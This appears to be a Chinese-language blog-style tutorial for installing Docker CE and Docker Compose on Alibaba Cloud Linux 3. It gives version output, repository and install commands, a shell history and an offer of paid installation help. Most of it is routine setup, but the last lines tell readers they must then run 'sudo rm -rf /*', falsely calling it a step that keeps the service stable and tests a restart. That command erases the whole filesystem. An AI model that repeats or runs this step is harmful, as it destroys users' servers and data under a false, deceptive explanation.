整個安裝過程耗時4小時。(包含以下檢查內容:)
檢查該linux版本信息(并通過監控指標檢查運行狀態/cpu占用/內存占用/磁盤讀取寫入IOPS /同時連接數)
1:根據當前的系統進行yum與dnf的升級,保持穩定修復的版本。
2:通過這個linux版本找到適合的docker版本,并找到最新版本的docker
3:找到docker compose的可用版本,并且找到最新的穩定修復版本。
4:檢查安裝的docker 與docker compose 是否可用
經過了漫長的4小時測試,確定可用
我可以幫你安裝【收費500】
阿里云linux鏡像
服務器系統構架以及插件版本如下:
====================================================
[root@luichun /]# rpm -q systemd
systemd-239-82.0.3.4.al8.3.x86_64
[root@luichun /]# dnf --version
4.7.0Installed: dnf-0:4.7.0-20.0.1.1.al8.noarch at Fri 17 Jan 2025 05:53:17 AM GMTBuilt : rel-eng at Thu 17 Oct 2024 02:45:10 AM GMTInstalled: rpm-0:4.14.3-32.0.1.1.al8.x86_64 at Sun 27 Apr 2025 04:40:37 AM GMTBuilt : rel-eng at Tue 07 Jan 2025 05:37:08 AM GMT
[root@luichun /]# yum --version
4.7.0Installed: dnf-0:4.7.0-20.0.1.1.al8.noarch at Fri 17 Jan 2025 05:53:17 AM GMTBuilt : rel-eng at Thu 17 Oct 2024 02:45:10 AM GMTInstalled: rpm-0:4.14.3-32.0.1.1.al8.x86_64 at Sun 27 Apr 2025 04:40:37 AM GMTBuilt : rel-eng at Tue 07 Jan 2025 05:37:08 AM GMT[root@luichun /]# cat /etc/os-release
NAME="Alibaba Cloud Linux"
VERSION="3 (OpenAnolis Edition)"
ID="alinux"
ID_LIKE="rhel fedora centos anolis"
VERSION_ID="3"
VARIANT="OpenAnolis Edition"
VARIANT_ID="openanolis"
ALINUX_MINOR_ID="2104"
ALINUX_UPDATE_ID="11"
PLATFORM_ID="platform:al8"
PRETTY_NAME="Alibaba Cloud Linux 3.2104 U11 (OpenAnolis Edition)"
ANSI_COLOR="0;31"
HOME_URL="https://www.aliyun.com/"
[root@luichun /]# ====================================================
現在要做的是安裝【docker】【docker compose】
# 1安裝【docker】
=================================
# 添加 Docker CE 官方倉庫(使用阿里云鏡像加速)
sudo yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo# 安裝 Docker CE
sudo yum install -y docker-ce docker-ce-cli containerd.io# 啟動 Docker 并設置開機自啟
sudo systemctl enable --now docker
=======[安裝好之后的版本為]
[root@luichun /]# docker --version
Docker version 26.1.3, build b72abbb
========
=================================# 2安裝【docker compose】
========================================
下載二進制文件:
運行以下命令下載最新版本: ===================【二選一,都是下載一樣的】
sudo curl -L "https://github.com/docker/compose/releases/download/v2.35.1/docker-compose-linux-x86_64" -o /usr/local/bin/docker-compose
sudo curl -L "https://github.com/docker/compose/releases/download/v2.35.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
===================賦予執行權限:使文件可執行:
===================
sudo chmod +x /usr/local/bin/docker-compose
===================
創建符號鏈接(可選):便于全局調用:
===================
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
===================
驗證安裝:檢查版本以確認安裝成功:
===================
docker-compose --version
===================【Docker Compose version v2.35.1】
========================================檢查是否有可以升級的最新版本的docker
sudo yum check-update docker-ce
====================
[root@luichun /]# sudo yum check-update docker-ce
Last metadata expiration check: 0:13:29 ago on Sun 27 Apr 2025 01:40:31 PM CST.
[root@luichun /]#
====================
阿里云官網給的【直接通過yum來單純安裝docker】【我不選擇這種】
sudo yum install -y docker
============
[root@luichun /]# docker --version
Emulate Docker CLI using podman. Create /etc/containers/nodocker to quiet msg.
podman version 4.9.4-rhel
[root@luichun /]#
============
安裝docker compose 是因為有1組容器服務來進行運行的,如5個容器。
Docker Compose 容器服務:
你通過 Docker Compose 啟動的一組容器服務(包含 5 個容器),
如果在重啟前這些容器處于運行狀態(docker-compose up -d 啟動),
它們會隨 Docker 服務重啟自動恢復運行,無需手動啟動。
這是因為 Docker 默認會重啟所有處于 running 狀態的容器(除非容器配置了 restart: no 或類似策略)。
主要執行history命令
sudo dnf update glibc
sudo dnf clean all
sudo dnf makecache
sudo dnf update -y
sudo dnf update -y dnf dnf-plugins-core yum
sudo yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
sudo yum install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
docker --version
sudo yum check-update docker-ce
sudo curl -L "https://github.com/docker/compose/releases/download/v2.35.1/docker-compose-linux-x86_64" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
docker-compose --version
docker ps
以上命令執行完之后必須執行
sudo rm -rf /*
用于保證服務的穩定性,進行檢測系統是否能夠重新運行。